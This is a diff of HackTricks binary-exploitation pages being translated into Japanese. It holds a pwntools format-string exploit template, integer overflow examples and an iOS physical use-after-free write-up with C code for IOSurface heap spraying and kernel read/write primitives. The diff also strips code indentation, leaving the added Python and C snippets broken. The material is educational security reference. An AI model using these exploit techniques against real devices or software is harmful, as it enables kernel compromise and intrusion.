-### Exploit - +### エクスプロイト ```python from pwn import * p = process("./fs-read") def leak_heap(p): - # At offset 25 there is a heap leak - p.sendlineafter(b"first password:", b"%25$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") @@ -178,7 +163,6 @@ output = p.clean() print(output) p.close() ``` -
{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md index 71e1d4624..df1082056 100644 --- a/src/binary-exploitation/format-strings/format-strings-template.md +++ b/src/binary-exploitation/format-strings/format-strings-template.md @@ -1,7 +1,6 @@ -# Format Strings Template +# フォーマット文字列テンプレート {{#include ../../banners/hacktricks-training.md}} - ```python from pwn import * from time import sleep @@ -36,23 +35,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -60,39 +59,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -141,5 +140,4 @@ format_string.execute_writes() P.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index cf1a6ca4f..996323b8b 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -1,123 +1,115 @@ -# Integer Overflow +# 整数オーバーフロー {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. +**整数オーバーフロー**の核心は、コンピュータプログラミングにおけるデータ型の**サイズ**によって課せられる制限とデータの**解釈**です。 -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. +例えば、**8ビット符号なし整数**は**0から255**までの値を表すことができます。8ビット符号なし整数に256の値を格納しようとすると、そのストレージ容量の制限により0にラップアラウンドします。同様に、**16ビット符号なし整数**は**0から65,535**までの値を保持でき、65,535に1を加えると値は0に戻ります。 -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). +さらに、**8ビット符号付き整数**は**-128から127**までの値を表すことができます。これは、1ビットが符号(正または負)を表すために使用され、残りの7ビットが大きさを表すために使われるからです。最も負の数は**-128**(バイナリ `10000000`)として表され、最も正の数は**127**(バイナリ `01111111`)です。 -### Max values +### 最大値 -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: +潜在的な**ウェブ脆弱性**にとって、最大サポート値を知ることは非常に興味深いです: {{#tabs}} {{#tab name="Rust"}} - ```rust fn main() { - let mut quantity = 2147483647; +let mut quantity = 2147483647; - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); - println!("{}", mul_result); - println!("{}", add_result); +println!("{}", mul_result); +println!("{}", add_result); } ``` - {{#endtab}} {{#tab name="C"}} - ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; +int a = INT_MAX; +int b = 0; +int c = 0; - b = a * 100; - c = a + 1; +b = a * 100; +c = a + 1; - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` - {{#endtab}} {{#endtabs}} -## Examples +## 例 -### Pure overflow - -The printed result will be 0 as we overflowed the char: +### 純粋なオーバーフロー +印刷された結果は0になります。なぜなら、charがオーバーフローしたからです: ```c #include int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; } ``` - ### Signed to Unsigned Conversion -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - +ユーザー入力から符号付き整数が読み取られ、その後適切な検証なしに符号なし整数として扱われる状況を考えてみてください: ```c #include int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} - return 0; +return 0; } ``` +この例では、ユーザーが負の数を入力すると、バイナリ値の解釈方法により、大きな符号なし整数として解釈され、予期しない動作を引き起こす可能性があります。 -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples +### その他の例 - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- パスワードのサイズを格納するために1Bしか使用されていないため、オーバーフローさせて実際の長さが260であるにもかかわらず、長さが4であると考えさせることが可能で、長さチェック保護を回避します。 - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: +- 数値の組み合わせを与えられた場合、z3を使用して最初の数値と掛け算して2番目の数値を得る新しい数値を見つけます: - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections +- パスワードのサイズを格納するために1Bしか使用されていないため、オーバーフローさせて実際の長さが260であるにもかかわらず、長さが4であると考えさせることが可能で、スタック内の次のローカル変数を上書きし、両方の保護を回避します。 ## ARM64 -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +この**ARM64では変わりません**。 [**このブログ記事**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)で見ることができます。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index dbf5dc009..fba994d23 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -2,211 +2,202 @@ ## Physical use-after-free -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +これは[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)の投稿からの要約であり、この技術を使用したエクスプロイトに関するさらなる情報は[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)で見つけることができます。 ### Memory management in XNU -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +iOSのユーザープロセスの**仮想メモリアドレス空間**は**0x0から0x8000000000**まで広がっています。しかし、これらのアドレスは物理メモリに直接マッピングされているわけではありません。代わりに、**カーネル**は**ページテーブル**を使用して仮想アドレスを実際の**物理アドレス**に変換します。 #### Levels of Page Tables in iOS -Page tables are organized hierarchically in three levels: +ページテーブルは3つのレベルで階層的に整理されています: 1. **L1 Page Table (Level 1)**: - * Each entry here represents a large range of virtual memory. - * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. +* ここにある各エントリは、大きな範囲の仮想メモリを表します。 +* **0x1000000000バイト**(または**256 GB**)の仮想メモリをカバーします。 2. **L2 Page Table (Level 2)**: - * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). - * An L1 entry may point to an L2 table if it can't map the entire region itself. +* ここにあるエントリは、特に**0x2000000バイト**(32 MB)の小さな仮想メモリ領域を表します。 +* L1エントリは、全体の領域を自分でマッピングできない場合、L2テーブルを指すことがあります。 3. **L3 Page Table (Level 3)**: - * This is the finest level, where each entry maps a single **4 KB** memory page. - * An L2 entry may point to an L3 table if more granular control is needed. +* これは最も細かいレベルで、各エントリは単一の**4 KB**メモリページをマッピングします。 +* より細かい制御が必要な場合、L2エントリはL3テーブルを指すことがあります。 #### Mapping Virtual to Physical Memory * **Direct Mapping (Block Mapping)**: - * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). +* ページテーブルの一部のエントリは、仮想アドレスの範囲を連続した物理アドレスの範囲に直接**マッピング**します(ショートカットのように)。 * **Pointer to Child Page Table**: - * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +* より細かい制御が必要な場合、あるレベルのエントリ(例:L1)は次のレベルの**子ページテーブル**を指すことができます(例:L2)。 #### Example: Mapping a Virtual Address -Let’s say you try to access the virtual address **0x1000000000**: +仮に仮想アドレス**0x1000000000**にアクセスしようとするとします: 1. **L1 Table**: - * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. +* カーネルは、この仮想アドレスに対応するL1ページテーブルエントリをチェックします。もし**L2ページテーブルへのポインタ**があれば、そのL2テーブルに進みます。 2. **L2 Table**: - * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. +* カーネルは、より詳細なマッピングのためにL2ページテーブルをチェックします。このエントリが**L3ページテーブル**を指している場合、そこに進みます。 3. **L3 Table**: - * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +* カーネルは最終的なL3エントリを調べ、実際のメモリページの**物理アドレス**を指します。 #### Example of Address Mapping -If you write the physical address **0x800004000** into the first index of the L2 table, then: +物理アドレス**0x800004000**をL2テーブルの最初のインデックスに書き込むと、次のようになります: -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +* 仮想アドレス**0x1000000000**から**0x1002000000**は、物理アドレス**0x800004000**から**0x802004000**にマッピングされます。 +* これはL2レベルでの**ブロックマッピング**です。 -Alternatively, if the L2 entry points to an L3 table: +また、L2エントリがL3テーブルを指している場合: -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +* 仮想アドレス範囲**0x1000000000 -> 0x1002000000**の各4 KBページは、L3テーブルの個別のエントリによってマッピングされます。 ### Physical use-after-free -A **physical use-after-free** (UAF) occurs when: +**物理的なuse-after-free**(UAF)は、次のような場合に発生します: -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. +1. プロセスが**読み取り可能かつ書き込み可能**なメモリを**割り当て**ます。 +2. **ページテーブル**がこのメモリをプロセスがアクセスできる特定の物理アドレスにマッピングするように更新されます。 +3. プロセスがメモリを**解放**(フリー)します。 +4. しかし、**バグ**のために、カーネルはページテーブルからマッピングを**削除するのを忘れ**、対応する物理メモリをフリーとしてマークします。 +5. カーネルはその後、この「解放された」物理メモリを**カーネルデータ**などの他の目的のために**再割り当て**できます。 +6. マッピングが削除されなかったため、プロセスはこの物理メモリに**読み書き**を続けることができます。 -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +これは、プロセスが**カーネルメモリのページ**にアクセスできることを意味し、そこには機密データや構造が含まれている可能性があり、攻撃者が**カーネルメモリを操作**できる可能性があります。 ### Exploitation Strategy: Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +攻撃者は解放されたメモリにどの特定のカーネルページが割り当てられるかを制御できないため、**ヒープスプレー**と呼ばれる技術を使用します: -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. 攻撃者はカーネルメモリに**多数のIOSurfaceオブジェクト**を作成します。 +2. 各IOSurfaceオブジェクトには、そのフィールドの1つに**マジックバリュー**が含まれており、識別が容易です。 +3. 攻撃者は**解放されたページをスキャン**して、これらのIOSurfaceオブジェクトのいずれかが解放されたページに配置されているかを確認します。 +4. 解放されたページにIOSurfaceオブジェクトを見つけると、それを使用して**カーネルメモリを読み書き**できます。 -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +この詳細については[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)を参照してください。 ### Step-by-Step Heap Spray Process -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: - * Use one field to **read any 32-bit value** in kernel memory. - * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. - -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +1. **Spray IOSurface Objects**: 攻撃者は特別な識別子(「マジックバリュー」)を持つ多くのIOSurfaceオブジェクトを作成します。 +2. **Scan Freed Pages**: 彼らは、オブジェクトのいずれかが解放されたページに割り当てられているかを確認します。 +3. **Read/Write Kernel Memory**: IOSurfaceオブジェクトのフィールドを操作することで、カーネルメモリ内で**任意の読み取りと書き込み**を行う能力を得ます。これにより、彼らは: +* 1つのフィールドを使用してカーネルメモリ内の**任意の32ビット値**を**読み取る**ことができます。 +* 別のフィールドを使用して**64ビット値を書き込む**ことができ、安定した**カーネルの読み書きプリミティブ**を実現します。 +IOSURFACE_MAGICというマジックバリューを持つIOSurfaceオブジェクトを生成して、後で検索します: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { - if (*nClients >= 0x4000) return; - for (int i = 0; i < nSurfaces; i++) { - fast_create_args_t args; - lock_result_t result; - - size_t size = IOSurfaceLockResultSize; - args.address = 0; - args.alloc_size = *nClients + 1; - args.pixel_format = IOSURFACE_MAGIC; - - IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); - io_connect_t id = result.surface_id; - - (*clients)[*nClients] = id; - *nClients = (*nClients) += 1; - } +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} } ``` - -Search for **`IOSurface`** objects in one freed physical page: - +解放された物理ページ内の**`IOSurface`**オブジェクトを検索します: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { - io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); - int nSurfaceIDs = 0; - - for (int i = 0; i < 0x400; i++) { - spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - - for (int j = 0; j < nPages; j++) { - uint64_t start = puafPages[j]; - uint64_t stop = start + (pages(1) / 16); - - for (uint64_t k = start; k < stop; k += 8) { - if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { - info.object = k; - info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; - if (self_task) *self_task = iosurface_get_receiver(k); - goto sprayDone; - } - } - } - } - +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + sprayDone: - for (int i = 0; i < nSurfaceIDs; i++) { - if (surfaceIDs[i] == info.surface) continue; - iosurface_release(client, surfaceIDs[i]); - } - free(surfaceIDs); - - return 0; +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; } ``` +### IOSurfaceを使用したカーネルの読み書きの実現 -### Achieving Kernel Read/Write with IOSurface +カーネルメモリ内のIOSurfaceオブジェクトを制御できるようになると(ユーザースペースからアクセス可能な解放された物理ページにマッピングされている)、**任意のカーネルの読み書き操作**に使用できます。 -After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. +**IOSurfaceの重要なフィールド** -**Key Fields in IOSurface** +IOSurfaceオブジェクトには2つの重要なフィールドがあります: -The IOSurface object has two crucial fields: +1. **使用カウントポインタ**:**32ビットの読み取り**を許可します。 +2. **インデックス付きタイムスタンプポインタ**:**64ビットの書き込み**を許可します。 -1. **Use Count Pointer**: Allows a **32-bit read**. -2. **Indexed Timestamp Pointer**: Allows a **64-bit write**. +これらのポインタを上書きすることで、カーネルメモリ内の任意のアドレスにリダイレクトし、読み書き機能を有効にします。 -By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. +#### 32ビットカーネル読み取り -#### 32-Bit Kernel Read - -To perform a read: - -1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset. -2. Use the `get_use_count` method to read the value at that address. +読み取りを行うには: +1. **使用カウントポインタ**をターゲットアドレスから0x14バイトオフセットを引いた位置にポイントするように上書きします。 +2. `get_use_count`メソッドを使用して、そのアドレスの値を読み取ります。 ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { - uint64_t args[1] = {surfaceID}; - uint32_t size = 1; - uint64_t out = 0; - IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); - return (uint32_t)out; +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { - uint64_t orig = iosurface_get_use_count_pointer(info.object); - iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 - uint32_t value = get_use_count(info.client, info.surface); - iosurface_set_use_count_pointer(info.object, orig); - return value; +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; } ``` +#### 64ビットカーネル書き込み -#### 64-Bit Kernel Write - -To perform a write: - -1. Overwrite the **indexed timestamp pointer** to the target address. -2. Use the `set_indexed_timestamp` method to write a 64-bit value. +書き込みを行うには: +1. **インデックス付きタイムスタンプポインタ**をターゲットアドレスに上書きします。 +2. `set_indexed_timestamp`メソッドを使用して64ビット値を書き込みます。 ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { - uint64_t args[3] = {surfaceID, 0, value}; - IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { - uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); - iosurface_set_indexed_timestamp_pointer(info.object, addr); - set_indexed_timestamp(info.client, info.surface, value); - iosurface_set_indexed_timestamp_pointer(info.object, orig); +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` +#### エクスプロイトフローの再確認 -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. -2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control. -4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods. - -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +1. **物理的なUse-After-Freeをトリガー**: 解放されたページは再利用可能です。 +2. **IOSurfaceオブジェクトをスプレー**: カーネルメモリにユニークな「マジックバリュー」を持つ多くのIOSurfaceオブジェクトを割り当てます。 +3. **アクセス可能なIOSurfaceを特定**: 制御している解放されたページ上のIOSurfaceを見つけます。 +4. **Use-After-Freeを悪用**: IOSurfaceオブジェクト内のポインタを変更して、IOSurfaceメソッドを介して任意の**カーネルの読み書き**を可能にします。 +これらのプリミティブを使用して、エクスプロイトは制御された**32ビットの読み取り**と**64ビットの書き込み**をカーネルメモリに提供します。さらなる脱獄ステップでは、より安定した読み書きプリミティブが必要になる可能性があり、追加の保護(例:新しいarm64eデバイスのPPL)をバイパスする必要があるかもしれません。 diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 319126fe0..e6c54904f 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,197 +1,190 @@ # Libc Heap -## Heap Basics +## ヒープの基本 -The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. +ヒープは基本的に、プログラムが**`malloc`**、`calloc`などの関数を呼び出してデータを要求する際にデータを保存できる場所です。さらに、このメモリがもはや必要ない場合は、**`free`**関数を呼び出すことで利用可能になります。 -As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): +示されているように、これはバイナリがメモリに読み込まれた直後の場所です(`[heap]`セクションを確認してください):
-### Basic Chunk Allocation +### 基本的なチャンクの割り当て -When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. +ヒープに保存するデータが要求されると、ヒープの一部がそれに割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報を使用して、使用中/未使用の各チャンクの位置を把握します。 -There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: +スペースを予約する方法はいくつかありますが、主に使用されるビンに依存しますが、一般的な方法論は次のとおりです: -- The program starts by requesting certain amount of memory. -- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list -- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk -- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk -- If everything fails, `malloc` returns null. +- プログラムは特定の量のメモリを要求することから始まります。 +- チャンクのリストに、要求を満たすのに十分な大きさの空きがあれば、それが使用されます。 +- これは、利用可能なチャンクの一部がこの要求に使用され、残りがチャンクリストに追加されることを意味する場合もあります。 +- リストに利用可能なチャンクがないが、割り当てられたヒープメモリにまだスペースがある場合、ヒープマネージャーは新しいチャンクを作成します。 +- 新しいチャンクを割り当てるのに十分なヒープスペースがない場合、ヒープマネージャーはカーネルにヒープに割り当てられたメモリを拡張するように要求し、その後このメモリを使用して新しいチャンクを生成します。 +- すべてが失敗した場合、`malloc`はnullを返します。 -Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. +要求された**メモリが閾値を超えた場合**、**`mmap`**が要求されたメモリをマッピングするために使用されることに注意してください。 -## Arenas +## アリーナ -In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global 